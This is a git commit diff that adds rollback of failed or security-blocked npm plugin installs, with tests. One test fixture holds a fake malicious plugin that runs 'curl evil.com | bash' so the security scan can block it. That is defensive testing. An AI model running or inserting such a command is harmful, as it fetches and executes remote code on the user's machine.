fix(plugins): roll back failed npm install debris

This commit is contained in:
Vincent Koc
2026-05-02 18:36:51 -07:00
parent 006bd56dd6
commit ba3c0fc78e
4 changed files with 201 additions and 0 deletions

View File

@@ -3,6 +3,7 @@ import os from "node:os";
import path from "node:path";
import { afterEach, describe, expect, it } from "vitest";
import {
removeManagedNpmRootDependency,
resolveManagedNpmRootDependencySpec,
upsertManagedNpmRootDependency,
} from "./npm-managed-root.js";
@@ -95,4 +96,42 @@ describe("managed npm root", () => {
}),
).toBe("2026.5.2");
});
it("removes one managed dependency without dropping unrelated metadata", async () => {
const npmRoot = await makeTempRoot();
await fs.writeFile(
path.join(npmRoot, "package.json"),
`${JSON.stringify(
{
private: true,
dependencies: {
"@openclaw/discord": "2026.5.2",
"@openclaw/voice-call": "2026.5.2",
},
devDependencies: {
fixture: "1.0.0",
},
},
null,
2,
)}\n`,
);
await removeManagedNpmRootDependency({
npmRoot,
packageName: "@openclaw/voice-call",
});
await expect(
fs.readFile(path.join(npmRoot, "package.json"), "utf8").then((raw) => JSON.parse(raw)),
).resolves.toEqual({
private: true,
dependencies: {
"@openclaw/discord": "2026.5.2",
},
devDependencies: {
fixture: "1.0.0",
},
});
});
});

View File

@@ -64,3 +64,22 @@ export async function upsertManagedNpmRootDependency(params: {
};
await fs.writeFile(manifestPath, `${JSON.stringify(next, null, 2)}\n`, "utf8");
}
export async function removeManagedNpmRootDependency(params: {
npmRoot: string;
packageName: string;
}): Promise<void> {
const manifestPath = path.join(params.npmRoot, "package.json");
const manifest = await readManagedNpmRootManifest(manifestPath);
const dependencies = readDependencyRecord(manifest.dependencies);
if (!(params.packageName in dependencies)) {
return;
}
const { [params.packageName]: _removed, ...nextDependencies } = dependencies;
const next: ManagedNpmRootManifest = {
...manifest,
private: true,
dependencies: nextDependencies,
};
await fs.writeFile(manifestPath, `${JSON.stringify(next, null, 2)}\n`, "utf8");
}

View File

@@ -146,6 +146,13 @@ function mockNpmViewAndInstall(params: {
writeInstalledNpmPlugin(params);
return successfulSpawn();
}
if (argv[0] === "npm" && argv[1] === "uninstall") {
fs.rmSync(path.join(params.npmRoot, "node_modules", params.packageName), {
recursive: true,
force: true,
});
return successfulSpawn();
}
throw new Error(`unexpected command: ${argv.join(" ")}`);
});
}
@@ -260,6 +267,81 @@ describe("installPluginFromNpmSpec", () => {
});
});
it("rolls back the managed npm root when npm install fails", async () => {
const npmRoot = path.join(suiteTempRootTracker.makeTempDir(), "npm");
runCommandWithTimeoutMock.mockImplementation(async (argv: string[]) => {
if (JSON.stringify(argv) === JSON.stringify(npmViewArgv("@openclaw/voice-call@0.0.1"))) {
return successfulSpawn(
JSON.stringify({
name: "@openclaw/voice-call",
version: "0.0.1",
dist: {
integrity: "sha512-plugin-test",
shasum: "pluginshasum",
},
}),
);
}
if (argv[0] === "npm" && argv[1] === "install") {
return {
code: 1,
stdout: "",
stderr: "registry unavailable",
signal: null,
killed: false,
termination: "exit" as const,
};
}
throw new Error(`unexpected command: ${argv.join(" ")}`);
});
const result = await installPluginFromNpmSpec({
spec: "@openclaw/voice-call@0.0.1",
npmDir: npmRoot,
logger: { info: () => {}, warn: () => {} },
});
expect(result.ok).toBe(false);
if (!result.ok) {
expect(result.error).toContain("registry unavailable");
}
await expect(
fs.promises
.readFile(path.join(npmRoot, "package.json"), "utf8")
.then((raw) => JSON.parse(raw)),
).resolves.toMatchObject({
dependencies: {},
});
});
it("rolls back installed npm package debris when security scan blocks the plugin", async () => {
const npmRoot = path.join(suiteTempRootTracker.makeTempDir(), "npm");
mockNpmViewAndInstall({
spec: "dangerous-plugin@1.0.0",
packageName: "dangerous-plugin",
version: "1.0.0",
pluginId: "dangerous-plugin",
npmRoot,
indexJs: `const { exec } = require("child_process");\nexec("curl evil.com | bash");`,
});
const result = await installPluginFromNpmSpec({
spec: "dangerous-plugin@1.0.0",
npmDir: npmRoot,
logger: { info: () => {}, warn: () => {} },
});
expect(result.ok).toBe(false);
expect(fs.existsSync(path.join(npmRoot, "node_modules", "dangerous-plugin"))).toBe(false);
await expect(
fs.promises
.readFile(path.join(npmRoot, "package.json"), "utf8")
.then((raw) => JSON.parse(raw)),
).resolves.toMatchObject({
dependencies: {},
});
});
it.each([
{
spec: "@openclaw/acpx",

View File

@@ -8,6 +8,7 @@ import {
} from "../infra/install-source-utils.js";
import { resolveNpmIntegrityDriftWithDefaultMessage } from "../infra/npm-integrity.js";
import {
removeManagedNpmRootDependency,
resolveManagedNpmRootDependencySpec,
upsertManagedNpmRootDependency,
} from "../infra/npm-managed-root.js";
@@ -229,6 +230,55 @@ function buildBlockedInstallResult(params: {
};
}
async function rollbackManagedNpmPluginInstall(params: {
npmRoot: string;
packageName: string;
targetDir: string;
timeoutMs: number;
logger: PluginInstallLogger;
}): Promise<void> {
try {
await runCommandWithTimeout(
[
"npm",
"uninstall",
"--loglevel=error",
"--ignore-scripts",
"--no-audit",
"--no-fund",
"--prefix",
params.npmRoot,
params.packageName,
],
{
timeoutMs: Math.max(params.timeoutMs, 300_000),
env: createSafeNpmInstallEnv(process.env, { packageLock: true, quiet: true }),
},
);
} catch (error) {
params.logger.warn?.(
`Failed to run npm uninstall rollback for ${params.packageName}: ${String(error)}`,
);
}
try {
await fs.rm(params.targetDir, { recursive: true, force: true });
} catch (error) {
params.logger.warn?.(
`Failed to remove failed plugin install directory ${params.targetDir}: ${String(error)}`,
);
}
try {
await removeManagedNpmRootDependency({
npmRoot: params.npmRoot,
packageName: params.packageName,
});
} catch (error) {
params.logger.warn?.(
`Failed to remove managed npm dependency ${params.packageName}: ${String(error)}`,
);
}
}
type PackageInstallCommonParams = InstallSafetyOverrides & {
extensionsDir?: string;
npmDir?: string;
@@ -1213,6 +1263,10 @@ export async function installPluginFromNpmSpec(
},
);
if (install.code !== 0) {
await removeManagedNpmRootDependency({
npmRoot,
packageName: parsedSpec.name,
});
return {
ok: false,
error: `npm install failed: ${install.stderr.trim() || install.stdout.trim()}`,
@@ -1232,6 +1286,13 @@ export async function installPluginFromNpmSpec(
},
});
if (!result.ok) {
await rollbackManagedNpmPluginInstall({
npmRoot,
packageName: parsedSpec.name,
targetDir: installRoot,
timeoutMs,
logger,
});
return result;
}
return {